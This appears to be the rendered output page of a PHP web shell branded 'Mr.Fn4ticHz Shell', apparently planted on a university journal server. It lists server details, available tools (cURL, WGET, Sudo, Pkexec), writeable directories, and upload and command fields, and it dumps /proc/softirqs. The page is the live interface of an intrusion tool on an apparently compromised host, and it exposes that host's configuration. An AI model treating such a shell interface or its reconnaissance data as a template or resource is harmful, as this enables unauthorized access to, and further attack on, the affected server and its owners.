Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   18727901   21351536   28475652   32415824   26512131   27060766   27633714   26378465   43862633   40848792   26457987   25219822   24139779   20498180   33633710   61563877
      NET_TX:        202        181        214        241        187        218    1083490        212        288        265        198        197        203        178        267        198
      NET_RX:  274828812  314300668  214218347  245968616  249198575  282161347  258159289  286848918  240654675  339534413  285476173  257283178  291904132  259303827  267039518  235614361
       BLOCK:    2522230    2529577    2753784    2762065    3967826     131043    2912270    2656761    2667723    2883153    2747482    2697773    2684435    2663320    6311216    6926330
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         17    1642810     895747    1609958          8    1602299          4    1620232          3    1605866    1624048          5    1621158          4    1643178         11
       SCHED:   95367969   68240087   73864949   71493271   67537413   68202119   69753611   66567416   84823676  278395786   66903664   67908363   65542387   61691877   84737466  118214649
     HRTIMER:          0        105          0          0          0         17          1         13          0        147        225          0          4          0         13          2
         RCU:   52450380   61494066   61061716   64773458   61952832   62688024   63850116   61513627   75783280  252034005   61780201   62641730   60600417   57198758   75953488  101727753

Mr.F4ticHz - 2022
Mr.Fn4tcHzam